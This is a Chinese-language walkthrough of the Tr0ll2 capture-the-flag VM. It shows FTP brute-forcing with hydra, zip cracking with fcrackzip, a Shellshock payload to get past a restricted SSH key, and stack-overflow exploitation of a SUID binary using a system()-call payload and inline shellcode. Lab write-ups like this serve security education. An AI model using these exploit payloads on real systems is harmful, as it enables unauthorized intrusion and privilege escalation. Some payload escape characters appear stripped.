主机发现:
emm,web和tr0ll:1一样,先进行更详细的扫描:
告诉我们这里啥都没有,扫一下目录:
有几张图片。
既然web没什么突破口,那么我们还是从ftp试试看,考虑生成个社工字典,根据WEB给出的Author以及Editor:
在字典的每一项后面加一个特殊字符,建议选n。然后用hydra爆一下:
Bingo~登陆看一下:
是个有密码的压缩包,简单地爆了一下没出。
想了一下,robots似乎也有node的字眼,再结合有点像隐写,并且:
有提示,cat每个图片,最终发现了东西:
提示深入y0ur_self来找到答案,FTP没有,WEB找到了answer:
全部都是base64,写个脚本跑一下,这里不能复制,wget即可:
循环读取每行并做base64解码,发现跑出来的应该是个字典:
这里提供两种爆破zip的方式,一种是john一种是fcrackzip。
先说john:
zip2john lmao.zip > hash.txt
john hash.txt
这种没成功,接下来是frackzip利用字典:
fcrackzip -u -D -p password.txt lmao.zip
成功找到密码。
本来以为是个ELF,结果不是:
root@NightsWatch:~/Desktop/tr0ll# file noob noob: PEM RSA private key
猜测是不是SSH登陆密钥:
看到提示运行的是/usr/bin/xauth,并不是/bin/bash,这里有几种方法:
ssh -i noob [email protected] -t "/bin/sh" ssh -i noob [email protected] -t "bash --noprofile" ssh -i noob [email protected] -t "() { :; }; /bin/bash"
在这里,最后一种方法是有效的:
noob@Tr0ll2:~$ uname -a Linux Tr0ll2 3.2.0-29-generic-pae #46-Ubuntu SMP Fri Jul 27 17:25:43 UTC 2012 i686 i686 i386 GNU/Linux
[object Object]
先看SUID吧,看到下面有些奇怪的东西:
挨个的来看一下:
???reboot???,看来不能瞎运行啊…这里发现有gdb,可以分析一下再选择运行,大家要注意,实际情况中也是,不能乱运行程序。
上图为r00t1,没有交互不像是存在溢出或者格式化字符串的情况。
现在看一下r00t2:
其中strcpy以及printf可能存在溢出和格式化字符串漏洞
r003:
与r00t1同,调用了system,但参数明显不是/bin/sh,有诈…
既然大概率r00t2存在漏洞,那我们着重看一下,因为自带的gdb并没有我常用的插件,所以这里借助msf来完成测试溢出的offset:
cd /usr/share/metasploit-framework/tools/exploit/
./pattern_create.rb -l 400
./pattern_offset.rb -q 6a413969
(gdb) p system $1 = {<text variable, no debug info>} 0xb7e6b060 <system>
有system现在我们可以输入/bin/sh,但问题是地址在哪?可以调试得出这里介绍另一种简单的方法:
export MyAddress=//////////////////////bin/sh
用如下c代码找到地址:
#include<unistd.h>
void main()
{
printf("MyAddress address 0x%lxn", getenv("MyAddress"));
return 0;
}
noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door2$ ./../../../tmp/get MyAddress address 0xbfffffb7
这样system和sh地址都有了,构造简单ROP:
system = 0x8048370 sh = 0xbffffef7 q payload = 'A' * 268 + p32(system) + 'dead' + p32(sh)
但是目标肯定没有pwntools,我们手工:
./r00t $(python -c 'print "A" * 268 + "x60xb0xe6xb7" + "BBBB" + "xbfxffxffxe3"')
上面的payload中sh字符串的地址有一点点误差,多试几次即可:
./r00t $(python -c 'print "A" * 268 + "x60xb0xe6xb7" + "BBBB" + "xc7xffxffxbf"')
这就是利用环境变量中的字符串完成ROP,究其原因,是因为系统并没有开启ASLR保护,下面介绍的方法也是没有ASLR保护才能得以实现。若开了ASLR其实我们也可以用传统的ret2libc来完成攻击。
没什么东西,看r00t2:
明显栈溢出。
这里介绍shellcode来getshell,我们输入shellcode后,需要控制RIP跳到shellcode的地址,那shellcode地址是什么呢?(这里同样可以把shellcode放到环境变量中)
我们先随机生成268的字符串,然后ret为AAAA之后的为BBBB来观察一下内存布局:
很明显,我们的BBBB出现在了ESP的位置上,那么把ret地址覆盖为当时的ESP就行了,而系统并没有开ASLR,只要查看一个ESP寄存器即可(在目标机器上):
同样的payload,查看esp寄存器地址发现确实是BBBB:
./r00t $(python -c 'print "A" * 268 + "xd0xfaxffxbf" + "xb4xbbx46x02xd4x35x05xf8xbfx4ax1dxb1x93xa8x24x3fx91x27x2fxb2x41x42x34x77x13xfdxb0x9bxb6x99x4fx0cx3dx66x3cxbaxb9x43xb5x8dxb7x14x96x97xb3x37x49xf9x4bx40xb8xd9xf7xa2xd9xddxc7xd9x74x24xf4x5dx31xc9xb1x0bx31x45x15x03x45x15x83xc5x04xe2x2cx9dxa9x81x57x30xc8x59x4axd6x9dx7dxfcx37xedxe9xfcx2fx3ex88x95xc1xc9xafx37xf6xc2x2fxb7x06xfcx4dxdex68x2dxe1x48x75x66x56x01x94x45xd8"')
GDB中拿到shell了但不是root权限(这是肯定的),但是外面会报错。没有找到原因,但我们的基本思路是正确的。
信息收集在本次渗透中仍有着极大的作用,再一个是终于碰到缓冲区溢出了。其中缓冲区溢出的原理及基本思想这里一言半语的也说不清,有PWN基础的应该都可以看得懂。需要注意的是,在本地调试我们只是我为了借助GDB的插件更清楚漏洞利用,而涉及到地址等内容的东西还是要上目标机来看。
还有一个是,虽然系统开启了ASLR,但是发现r00t这个程序会不定期删除重新生成,地址自然也会改变,发现问题时记得要多调试。
原创投稿作者:Railgun作者博客:www.pwn4fun.com
本文作者:HACK_Learn
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/130608.html